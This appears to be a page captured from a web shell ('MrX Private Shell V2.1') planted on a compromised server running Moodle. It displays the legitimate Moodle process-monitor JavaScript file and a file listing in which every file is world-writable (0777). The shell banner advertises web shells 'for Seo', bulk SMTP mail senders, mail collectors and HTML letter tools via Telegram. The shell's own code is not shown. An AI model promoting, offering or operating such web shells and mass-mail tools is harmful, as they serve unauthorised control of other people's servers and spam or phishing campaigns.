__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.

/**
 * The file upload monitor component.
 *
 * @module     core/local/process_monitor/monitor
 * @class      core/local/process_monitor/monitor
 * @copyright  2022 Ferran Recio <ferran@moodle.com>
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */

import Templates from 'core/templates';
import {BaseComponent} from 'core/reactive';
import {manager} from 'core/local/process_monitor/manager';

export default class extends BaseComponent {

    /**
     * Constructor hook.
     */
    create() {
        // Optional component name for debugging.
        this.name = 'process_monitor';
        // Default query selectors.
        this.selectors = {
            QUEUELIST: `[data-for="process-list"]`,
            CLOSE: `[data-action="hide"]`,
        };
        // Default classes to toggle on refresh.
        this.classes = {
            HIDE: `d-none`,
        };
    }

    /**
     * Static method to create a component instance form the mustache template.
     *
     * @param {string} query the DOM main element query selector
     * @param {object} selectors optional css selector overrides
     * @return {this}
     */
    static init(query, selectors) {
        return new this({
            element: document.querySelector(query),
            reactive: manager,
            selectors,
        });
    }

    /**
     * Initial state ready method.
     *
     * @param {Object} state the initial state
     */
    stateReady(state) {
        this._updateMonitor({state, element: state.display});
        this.addEventListener(this.getElement(this.selectors.CLOSE), 'click', this._closeMonitor);
        state.queue.forEach((element) => {
            this._createListItem({state, element});
        });
    }

    /**
     * Return the component watchers.
     *
     * @returns {Array} of watchers
     */
    getWatchers() {
        return [
            // State changes that require to reload some course modules.
            {watch: `queue:created`, handler: this._createListItem},
            {watch: `display:updated`, handler: this._updateMonitor},
        ];
    }

    /**
     * Create a monitor item.
     *
     * @param {object} args the watcher arguments
     * @param {object} args.element the item state data
     */
    async _createListItem({element}) {
        const {html, js} = await Templates.renderForPromise(
            'core/local/process_monitor/process',
            {...element}
        );
        const target = this.getElement(this.selectors.QUEUELIST);
        Templates.appendNodeContents(target, html, js);
    }

    /**
     * Create a monitor item.
     *
     * @param {object} args the watcher arguments
     * @param {object} args.element the display state data
     */
    _updateMonitor({element}) {
        this.element.classList.toggle(this.classes.HIDE, element.show !== true);
    }

    /**
     * Close the monitor.
     */
    _closeMonitor() {
        this.reactive.dispatch('setShow', false);
    }
}

Filemanager

Name Type Size Permission Actions
events.js File 1.86 KB 0777
loadingprocess.js File 5.6 KB 0777
manager.js File 5.37 KB 0777
monitor.js File 3.59 KB 0777
process.js File 3.58 KB 0777
processqueue.js File 3.55 KB 0777
Filemanager